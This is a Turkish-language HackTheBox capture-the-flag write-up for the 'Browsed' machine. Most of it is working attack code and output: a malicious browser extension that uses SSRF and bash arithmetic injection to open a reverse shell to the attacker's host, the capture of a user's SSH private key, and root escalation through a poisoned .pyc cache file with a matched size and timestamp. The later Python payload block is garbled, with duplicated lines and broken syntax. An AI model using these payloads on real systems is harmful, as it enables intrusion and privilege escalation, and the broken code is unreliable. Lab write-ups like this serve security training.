

HackTheBox Browsed

Herkese merhaba bugün hackthebox ' tan browsed makinesini çözeceğiz.

Bir nmap taraması atıyorum en başta ssh portu açık onu görüyoruz özellikle.

```
➔ nmap 10.129.2.176
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-09 01:43 +03
Nmap scan report for Browsed.htb (10.129.2.176)
Host is up (0.15s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
Nmap done: 1 IP address (1 host up) scanned in 2.16 seconds
```

Şimdi siteye bir göz atınca şunu görüyoruz manifest dosyalarını indirebiliyoruz bilgisayarımıza bunu aklımızda tutuyoruz siteyi incelemeye devam edince zip dosyası yükleyebildiğimiz bir ekranla karşıyoruz. Burada aklımıza yükleme esnasında zip almak geliyor ve dosyalarda bazı değişiklikler yapmamız gerekecek bunu anlıyoruz. Öncelikle manifest.json (Yetkilendirme)

- Değişim: "permissions": ["scripting"] ve "matches": ["<all_urls>"] satırlarını ekledik.
- Neden: Eklentinin tarayıcıdaki tüm sayfalarda çalışmasını sağlamak ve JavaScript kodlarımızı (scripting) enjekte edebilmek için bu izinler gereklidir.

Sonrasında ise **content.js (Saldırı Motoru)**

Bu dosya sızma işleminin beynidir. İçindeki kodları şu üç teknik aşamayı gerçekleştirmek için yazdık:

1. SSRF (İç Ağa Erişim): Sunucu dışarıdan 5000 portuna (Flask uygulaması) kapalıdır. Ancak sunucunun *içindeki* tarayıcı 127.0.0.1:5000 adresine erişebilir. Bu yüzden `fetch("http://127.0.0.1:5000/routines/...")` komutuyla hedefi içeriden vurduk.
2. Bash Arithmetic Injection (Zafiyet Tetikleme): Flask uygulamasının `/routines/ endpoint'inin`, girdi olarak aldığı veriyi bir Bash betiğinde matematiksel karşılaştırma (`-eq`) için kullandığını biliyorduk. Bash, bu tip karşılaştırmalarda `$(...)` içindeki komutları çalıştırır.
 - Kod: `a[$(echo ... | base64 -d | bash)]` yapısını bu yüzden kullandık.

3. Reverse Shell (Bağlantı Kurma): Kodun içine kendi IP adresini (10.10.14.129) ve dinlediğin portu (4444) yazdın.

- Neden: Sunucu bu komutu çalıştırdığında, senin makinene geri bağlanmasını ve sana bir komut satırı (shell) vermesini sağladık.

```
cat <<EOF > manifest.json
{
  "manifest_version": 3,
  "name": "Security Auditor",
  "version": "1.0",
  "permissions": ["scripting"],
  "content_scripts": [
    {
      "matches": ["<all_urls>"],
      "js": ["content.js"],
      "run_at": "document_idle"
    }
  ]
}
EOF
```

```
cat <<EOF > content.js
const TARGET = "http://127.0.0.1:5000/routines/";
const ATTACKER = "10.10.14.129";

// Reverse shell komutumuz
const cmd = "bash -c 'bash -i >& /dev/tcp/" + ATTACKER + "/4444 0>&";
// Komutu base64 yaparak boşluk ve karakter sorunlarını aşıyoruz
const b64 = btoa(cmd);

// Bash Arithmetic Injection Payload: a[`${echo BASE64 | base64 -d`
// %20 url encoding için boşluk yerine kullanılır
const exploit = "a[`${echo%20" + b64 + "|base64%20-d|bash`}";

// SSRF ile iç ağdaki Flask uygulamasına saldırıyoruz
fetch(TARGET + exploit, { mode: "no-cors" });
EOF

(root@kali)~/home/mehmet/Masaüstü/browshed_attack
zip exploit.zip manifest.json content.js
adding: manifest.json (deflated 37%)
adding: content.js (deflated 31%)
```

Bu zipi siteye atıp çalıştırdıktan sonra ise Shell alıp user.txt yi çekiyoruz.

```
nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.129] from (UNKNOWN) [10.129.2.176] 48886
bash: cannot set terminal process group (1455): Inappropriate ioctl for device
bash: no job control in this shell
larry@browshed:~/markdownPreview$ ls
ls
app.py
backups
data
files
log
README.md
routines.sh
tmp
larry@browshed:~/markdownPreview$ ls -la
ls -la
total 48
drwxrwxr-x 9 larry larry 4096 Jan  6 10:28 .
drwxr-x--- 9 larry larry 4096 Jan  6 11:11 ..
-rw-rw-r-- 1 larry larry 2095 Aug 17  2025 app.py
drwxrwxr-x 2 larry larry 4096 Jan  6 10:28 backups
drwxrwxr-x 2 larry larry 4096 Jan  6 10:28 data
drwxrwxr-x 5 larry larry 4096 Jan  6 10:28 .env
drwxrwxr-x 2 larry larry 4096 Mar  8 22:57 files
drwxrwxr-x 8 larry larry 4096 Jan  6 10:28 .git
drwxrwxr-x 2 larry larry 4096 Jan  6 10:28 log
-rw-rw-r-- 1 larry larry 129 Aug 17  2025 README.md
```

İncelemeye devam ettiğimizde

```
larry@browsed:~/markdownPreview$ cd
cd
larry@browsed:~$ ls -la /home/larry
ls -la /home/larry
total 56
drwxr-x--- 9 larry larry 4096 Jan  6 11:11 .
drwxr-xr-x 4 root  root  4096 Jan  6 10:28 ..
lrwxrwxrwx 1 root  root    9 Dec 29 09:55 .bash_history -> /dev/null
-rw-r--r-- 1 larry larry 220 Mar 31 2024 .bash_logout
-rw-r--r-- 1 larry larry 3771 Mar 31 2024 .bashrc
drwx----- 4 larry larry 4096 Jan  6 10:28 .cache
drwx----- 3 larry larry 4096 Jan  6 10:28 .config
-rw-rw-r-- 1 larry larry  36 Aug 17 2025 .gitconfig
drwx----- 3 larry larry 4096 Jan  6 10:28 .gnupg
drwxrwxr-x 3 larry larry 4096 Jan  6 10:28 .local
drwxrwxr-x 9 larry larry 4096 Jan  6 10:28 markdownPreview
drwx----- 3 larry larry 4096 Jan  6 10:28 .pki
-rw-r--r-- 1 larry larry 807 Mar 31 2024 .profile
lrwxrwxrwx 1 larry larry  9 Aug 17 2025 .python_history -> /dev/null
drwx----- 2 larry larry 4096 Jan  6 10:28 .ssh
-rw-r----- 1 root  larry  33 Mar  9 22:49 user.txt
larry@browsed:~$ ls -la /home/larry/.ssh
ls -la /home/larry/.ssh
total 20
drwx----- 2 larry larry 4096 Jan  6 10:28 .
drwxr-x--- 9 larry larry 4096 Jan  6 11:11 ..
-rw----- 1 larry larry  95 Aug 17 2025 authorized_keys
-rw----- 1 larry larry  399 Aug 17 2025 id_ed25519
-rw-r--r-- 1 larry larry  95 Aug 17 2025 id_ed25519.pub
larry@browsed:~$
```

id_ed25519 u görüyoruz onu yakalayınca içerden ssh anahtarı çıkıyor.

Anahtarı kırmaya gerek yok çünkü direk ssh alabiliyoruz.

```
cat > id_ed25519 << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
o3BlbnNzaC1rZXktZjEFAAAAAAGS5ybmlJAAAAEbm9uZQAAAAAAAAAAAAAAAAAAAAAAAwAAAAtzc2gtZW
NyNTUxOQAAACDZIZPBRF8FzQjntOnbdwYiSLYtJ2VkBwQAS8vIKtzrAAAIAxb7KHF2+y
hwAAAAAtzc2gtZWQyNTUxOQAAACDZIZPBRF8FzQjntOnbdwYiSLYtJ2VkBwQAS8vIKtzr
AAAEFRIRok98/uzbZls/MWsrvgG9+TsVa9GePiT52KiU6LoJdlkhk8FFXwXNCQe06dt3BiJ
t10nZWQHABABLy8gq30vAAAAADWxhcncJ5QGJyb3dzZWQ=
-----END OPENSSH PRIVATE KEY-----
EOF

(root@kali)-[/home/mehmet/Masaüstü/exploit_final/browsed_fix]
# chmod 600 id_ed25519

(root@kali)-[/home/mehmet/Masaüstü/exploit_final/browsed_fix]
# file id_ed25519
id_ed25519: OpenSSH private key

(root@kali)-[/home/mehmet/Masaüstü/exploit_final/browsed_fix]
# python3 /usr/share/john/ssh2john.py id_ed25519 > hash.txt
id_ed25519 has no password!

(root@kali)-[/home/mehmet/Masaüstü/exploit_final/browsed_fix]
# cat hash.txt

(root@kali)-[/home/mehmet/Masaüstü/exploit_final/browsed_fix]
# ssh -i id_ed25519 larry@10.129.2.176
The authenticity of host '10.129.2.176 (10.129.2.176)' can't be established.
ED25519 key fingerprint is SHA256:FAVdIajQ8u8b/YUonZJCT/ib1bhL6pA1TZzkODyME4U.
```

Ssh sonrası yine sudo -l komutunu çalıştırıyoruz.

```

To check for new updates run: sudo apt update
Last login: Sun Mar 8 23:17:51 2026 from 10.10.14.129
larry@browsed:~$ ls
larry.hash markdownPreview user.txt
larry@browsed:~$ sudo -l
Matching Defaults entries for larry on browsed:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User larry may run the following commands on browsed:
    (root) NOPASSWD: /opt/extensiontool/extension_tool.py
larry@browsed:~$ cat /opt/extensiontool/extension_tool.py
#!/usr/bin/python3.12
import json
import os
from argparse import ArgumentParser
from extension_utils import validate_manifest, clean_temp_files
import zipfile

EXTENSION_DIR = '/opt/extensiontool/extensions/'

def bump_version(data, path, level='patch'):
    version = data["version"]
    major, minor, patch = map(int, version.split('.'))
    if level == 'major':
        major += 1
        minor = patch = 0
    elif level == 'minor':
        minor += 1
        patch = 0

```

Ekran görüntüsünde görüldüğü üzere, larry kullanıcısının parola gerektirmeden (NOPASSWD) root yetkisiyle çalıştırabileceği bir dosya tespit ediliyor:

(root) NOPASSWD: /opt/extensiontool/extension_tool.py

extension_tool.py dosyasının kendisi değiştirilemese de, Python'un derlenmiş dosyaları sakladığı __pycache__ klasörünün dünya tarafından yazılabilir (world-writable) olduğu fark ediliyor.

```

larry@browsed:~$ nano extension_utils.py
larry@browsed:~$ sudo /opt/extensiontool/extension_tool.py
[X] Use one of the following extensions : ['Fontify', 'Timer', 'ReplaceImages']
larry@browsed:~$ ls -l /opt/extensiontool
total 16
drwxrwxr-x 5 root root 4096 Mar 23 2025 extensions
-rwxrwxr-x 1 root root 2739 Mar 27 2025 extension_tool.py
-rw-rw-r-- 1 root root 1245 Mar 23 2025 extension_utils.py
drwxrwxrwx 2 root root 4096 Mar 8 23:20 __pycache__
larry@browsed:~$ ls -l /opt/extensiontool/extensions
total 12
drwxrwxr-x 2 root root 4096 Aug 17 2025 Fontify
drwxrwxr-x 2 root root 4096 Aug 17 2025 ReplaceImages
drwxrwxr-x 2 root root 4096 Aug 17 2025 Timer
larry@browsed:~$ find /opt/extensiontool/extensions -maxdepth 2 -type f -ls
 8586   4 -rw-rw-r-- 1 root   root       756 Mar 19 2025 /opt/extensiontool/extensions/Fontify/popup.js
 8588   4 -rw-rw-r-- 1 root   root       568 Mar 19 2025 /opt/extensiontool/extensions/Fontify/popup.html
 8594   4 -rw-rw-r-- 1 root   root       274 Mar 19 2025 /opt/extensiontool/extensions/Fontify/content.js
 8589   4 -rw-rw-r-- 1 root   root       181 Mar 19 2025 /opt/extensiontool/extensions/Fontify/style.css
 8581   4 -rw-rw-r-- 1 root   root       450 Mar 23 2025 /opt/extensiontool/extensions/Fontify/manifest.json
 8599   4 -rw-rw-r-- 1 root   root      1311 Mar 19 2025 /opt/extensiontool/extensions/Timer/popup.js
 8777   4 -rw-rw-r-- 1 root   root       369 Mar 19 2025 /opt/extensiontool/extensions/Timer/popup.html
 8778   4 -rw-rw-r-- 1 root   root       240 Mar 19 2025 /opt/extensiontool/extensions/Timer/style.css
 8597   4 -rw-rw-r-- 1 root   root       273 Mar 20 2025 /opt/extensiontool/extensions/Timer/manifest.json
 8800   4 -rw-rw-r-- 1 root   root       348 Mar 23 2025 /opt/extensiontool/extensions/ReplaceImages/content.
js
 8799   4 -rw-rw-r-- 1 root   root       315 Mar 19 2025 /opt/extensiontool/extensions/ReplaceImages/manifest
.json

```

Kendi hazırladığımız zararlı kodun (os.system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash")) boyutunu truncate komutuyla tam olarak 1245 (Orijinal extension_utils.py dosyasının "parmak izi" boyut ve zaman damgası stat komutuyla alındı.) bu yüzden 1245 byte'a sabitledik.

touch komutuyla dosyanın zaman damgasını orijinaliyle birebir eşitledik.

Bu dosyayı python3 -m py_compile ile derleyip oluşan .pyc dosyasını /opt/extensiontool/__pycache__/ altına, orijinalinin üzerine yazdık.

```
larry@browsed:~$ rm -f /opt/extensiontool/__pycache__/extension_utils.pyc
larry@browsed:~$ python3.12 - <<'PY'
larry@browsed:~$ python3.12 - <<'PY'
import os, py_compile
real_src = "/opt/extensiontool/extension_utils.py"
real_pyc = "/opt/extensiontool/extension_utils.py"
target_pyc = "/opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc"
tmp_src = "/tmp/extension_utils.py"
st = os.stat(real_src)
st = os.stat(real_src)
payload = '''import os
payload = '''import osp'''
os.system("/bin/bash -p")
def validate_manifest(path):
    return {"version": "1.0.0", "dir": ""}
def clean_temp_files(extension_dir):
    return None
...
if len(payload) > st.st_size:
if len(payload) > st.st_size: too large")
    raise SystemExit("Payload too large")
payload += "#" * (st.st_size - len(payload))
payload += "#" * (st.st_size - len(payload))
with open(tmp_src, "w") as f:
with open(tmp_src, "w") as f:
    f.write(payload)
os.utime(tmp_src, (st.st_atime, st.st_mtime))
os.utime(tmp_src, (st.st_atime, st.st_mtime)) doraise=True
py_compile.compile(tmp_src, cfile=target_pyc, doraise=True)
import os
```

```
raise SystemExit("Payload too large")
payload += "#" * (st.st_size - len(payload))
payload += "#" * (st.st_size - len(payload))
with open(tmp_src, "w") as f:
with open(tmp_src, "w") as f:
    f.write(payload)
os.utime(tmp_src, (st.st_atime, st.st_mtime))
os.utime(tmp_src, (st.st_atime, st.st_mtime)) doraise=True
py_compile.compile(tmp_src, cfile=target_pyc, doraise=True)
print("[+] Wrote", target_pyc)
print("[+] Source size:", st.st_size)
print("[+] Source mtime:", int(st.st_mtime))
PY
[+] Wrote /opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc
[+] Source size: 1245
[+] Source mtime: 1742727379
larry@browsed:~$ ls -l /opt/extensiontool/__pycache__
total 4
-rw-r--r-- 1 larry larry 479 Mar  8 23:24 extension_utils.cpython-312.pyc
larry@browsed:~$ sudo /opt/extensiontool/extension_tool.py --ext Fontify
root@browsed:/home/larry# ls
extension_utils.py larry.hash markdownPreview user.txt
root@browsed:/home/larry# cd
root@browsed:/home/larry# ls
root.txt scripts
root@browsed:/home/larry# cat root.txt
a1c276a26e2456b7d14f307bbf10967c
root@browsed:/home/larry# Read from remote host 10.129.2.176: Connection timed out
Connection to 10.129.2.176 closed.
client_loop: send disconnect: Broken pipe
```

Ve root flagi elde ettik.